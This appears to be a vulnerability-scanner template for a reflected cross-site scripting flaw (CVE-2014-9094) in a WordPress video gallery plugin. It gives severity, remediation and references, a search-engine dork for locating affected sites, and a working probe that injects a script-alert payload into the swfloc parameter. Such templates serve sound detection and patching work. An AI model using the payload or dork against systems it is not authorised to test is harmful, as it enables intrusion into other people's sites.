id: CVE-2014-9094

info:
  name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress DZS-VideoGallery Plugin, which includes a fix for this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9094
    - http://websecurity.com.ua/7152/
    - http://seclists.org/fulldisclosure/2014/Jul/65
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-9094
    cwe-id: CWE-79
    epss-score: 0.07309
    epss-percentile: 0.93748
    cpe: cpe:2.3:a:digitalzoomstudio:video_gallery:-:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: digitalzoomstudio
    product: "video_gallery"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/dzs-videogallery\""
  tags: cve2014,cve,wordpress,xss,wp-plugin,seclists,digitalzoomstudio,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/dzs-videogallery/readme HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Video Gallery WordPress DZS'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ef1e69a5f70a5de4da9a35893a037c73efc6d368be43a2d5d40dbb7438409ba7022100aa419514141087b700c0c12140a42a527499911a668ef39fe864cfcb0ffae178:922c64590222798bb761d5b6d8e72950